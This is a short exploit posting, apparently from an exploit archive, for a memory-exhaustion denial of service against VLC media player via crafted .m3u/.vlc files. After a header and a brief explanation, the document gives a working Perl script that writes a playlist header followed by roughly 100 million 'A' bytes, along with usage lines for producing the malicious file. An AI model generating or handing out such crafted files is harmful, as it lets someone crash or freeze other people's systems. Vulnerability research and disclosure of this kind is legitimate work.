VLC All versions - .m3u/.vlc Memory Exhaustion DoS
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# Exploit Title: VLC All versions - .m3u/.vlc DoS Memory Exhaustion Vulnerability .
# Date: 19 August 2012
# Author: Dark-Puzzle
# Author's Website : www.datasec.x90x.net
# Risk : Medium
# Vendor Website : http://www.videolan.org
# Version: All Versions Are Vulnerable .
# Category: DoS/PoC
# Tested on: Windows Xp Service Pack 2 / Windows 7 (64 bit).
#About
#The Vuln Consists that VLC player displays the Internal content of the .m3u and .vlc files , the content isn't
#known by VLC so it Will be displayed in the error log (All The Content) & in the Stack (Only the "A"s) increasing & increasing causing the DoS Vuln .
#The System Performance is Increased when the exploit is running and the CPU Usage can reach 98% .
#the file may take some time to create and 4 seconds before it starts playing .
# The Same file can be used for both .m3u & .vlc
#Usage : perl dos.pl > file.m3u
# OR perl dos.pl > file.vlc
my $ext = "\x23\x45\x58\x54\x4d\x33\x55";
my $ff= "\x00\x00\x00\x00\x41\x41\x00\x00\x00\x00";
my $b = "\x41" x 99989969 ;
my $c = "\xff" x 100 ;
print $ext.$ff.$b.$c.$ff;
#-----------------Solution-------------------#
# Vendor has been contacted about this issue #
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#Greetz to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...
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